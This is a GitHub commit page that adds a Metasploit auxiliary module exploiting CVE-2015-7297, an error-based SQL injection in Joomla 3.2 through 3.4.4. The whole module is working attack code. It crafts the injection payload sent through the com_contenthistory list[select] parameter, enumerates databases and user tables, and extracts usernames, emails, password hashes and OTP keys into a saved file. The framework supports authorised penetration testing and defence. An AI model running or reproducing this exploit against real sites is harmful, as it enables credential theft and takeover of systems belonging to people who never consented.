Skip to content

Commit a65172b

Browse files
committed
Land rapid7#6125, Joomla SQLi creds gather module
2 parents 93a2507 + 9041f95 commit a65172b

File tree

1 file changed

+210
-0
lines changed

1 file changed

+210
-0
lines changed
Lines changed: 210 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,210 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Joomla com_contenthistory Error-Based SQL Injection',
16+
'Description' => %q{
17+
This module exploits a SQL injection vulnerability in Joomla versions 3.2
18+
through 3.4.4 in order to either enumerate usernames and password hashes.
19+
},
20+
'References' =>
21+
[
22+
['CVE', '2015-7297'],
23+
['URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/']
24+
],
25+
'Author' =>
26+
[
27+
'Asaf Orpani', # discovery
28+
'bperry', # metasploit module
29+
'Nixawk' # module review
30+
],
31+
'License' => MSF_LICENSE,
32+
'DisclosureDate' => 'Oct 22 2015'
33+
))
34+
35+
register_options(
36+
[
37+
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
38+
], self.class)
39+
end
40+
41+
def check
42+
flag = Rex::Text.rand_text_alpha(8)
43+
lmark = Rex::Text.rand_text_alpha(5)
44+
rmark = Rex::Text.rand_text_alpha(5)
45+
46+
payload = 'AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT('
47+
payload << "0x#{lmark.unpack('H*')[0]},"
48+
payload << "(SELECT 0x#{flag.unpack('H*')[0]}),"
49+
payload << "0x#{rmark.unpack('H*')[0]},"
50+
payload << 'FLOOR(RAND(0)*2)'
51+
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
52+
53+
res = sqli(payload)
54+
55+
if res && res.code == 500 && res.body =~ /#{lmark}#{flag}#{rmark}/
56+
Msf::Exploit::CheckCode::Vulnerable
57+
else
58+
Msf::Exploit::CheckCode::Safe
59+
end
60+
end
61+
62+
def request(query, payload, lmark, rmark)
63+
query = "#{payload}" % query
64+
res = sqli(query)
65+
66+
# Error based SQL Injection
67+
if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/
68+
$1
69+
end
70+
end
71+
72+
def query_databases(payload, lmark, rmark)
73+
dbs = []
74+
75+
query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
76+
query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
77+
78+
dbc = request(query, payload, lmark, rmark)
79+
80+
query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
81+
query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
82+
83+
0.upto(dbc.to_i - 1) do |i|
84+
dbname = request(query_fmt % i, payload, lmark, rmark)
85+
dbs << dbname
86+
vprint_good(dbname)
87+
end
88+
89+
%w(performance_schema information_schema mysql).each do |dbname|
90+
dbs.delete(dbname) if dbs.include?(dbname)
91+
end
92+
93+
dbs
94+
end
95+
96+
def query_tables(database, payload, lmark, rmark)
97+
tbs = []
98+
99+
query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
100+
query << 'FROM INFORMATION_SCHEMA.TABLES '
101+
query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"
102+
103+
tbc = request(query, payload, lmark, rmark)
104+
105+
query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
106+
query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
107+
query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
108+
query_fmt << 'LIMIT %d,1)'
109+
110+
vprint_status('tables in database: %s' % database)
111+
0.upto(tbc.to_i - 1) do |i|
112+
tbname = request(query_fmt % i, payload, lmark, rmark)
113+
vprint_good(tbname)
114+
tbs << tbname if tbname =~ /_users$/
115+
end
116+
117+
tbs
118+
end
119+
120+
def query_columns(database, table, payload, lmark, rmark)
121+
cols = []
122+
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
123+
124+
colc = request(query, payload, lmark, rmark)
125+
vprint_status(colc)
126+
127+
valid_cols = [ # joomla_users
128+
'activation',
129+
'block',
130+
'email',
131+
'id',
132+
'lastResetTime',
133+
'lastvisitDate',
134+
'name',
135+
'otep',
136+
'otpKey',
137+
'params',
138+
'password',
139+
'registerDate',
140+
'requireReset',
141+
'resetCount',
142+
'sendEmail',
143+
'username'
144+
]
145+
146+
query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
147+
query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"
148+
149+
0.upto(colc.to_i - 1) do |i|
150+
record = {}
151+
valid_cols.each do |col|
152+
l = 1
153+
record[col] = ''
154+
loop do
155+
value = request(query_fmt % [col, l, i], payload, lmark, rmark)
156+
break if value.blank?
157+
record[col] << value
158+
l += 54
159+
end
160+
end
161+
cols << record
162+
vprint_status(record.to_s)
163+
end
164+
165+
cols
166+
end
167+
168+
def run
169+
lmark = Rex::Text.rand_text_alpha(5)
170+
rmark = Rex::Text.rand_text_alpha(5)
171+
172+
payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
173+
payload << "0x#{lmark.unpack('H*')[0]},"
174+
payload << '%s,'
175+
payload << "0x#{rmark.unpack('H*')[0]},"
176+
payload << 'FLOOR(RAND(0)*2)'
177+
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
178+
179+
dbs = query_databases(payload, lmark, rmark)
180+
dbs.each do |db|
181+
tables = query_tables(db, payload, lmark, rmark)
182+
tables.each do |table|
183+
cols = query_columns(db, table, payload, lmark, rmark)
184+
next if cols.blank?
185+
path = store_loot(
186+
'joomla.users',
187+
'text/plain',
188+
datastore['RHOST'],
189+
cols.to_json,
190+
'joomla.users')
191+
print_good('Saved file to: ' + path)
192+
end
193+
end
194+
end
195+
196+
def sqli(payload)
197+
send_request_cgi(
198+
'uri' => normalize_uri(target_uri.path, 'index.php'),
199+
'vars_get' => {
200+
'option' => 'com_contenthistory',
201+
'view' => 'history',
202+
'list[ordering]' => '',
203+
'item_id' => 1,
204+
'type_id' => 1,
205+
'list[select]' => '1 ' + payload
206+
}
207+
)
208+
end
209+
210+
end

0 commit comments

Comments
 (0)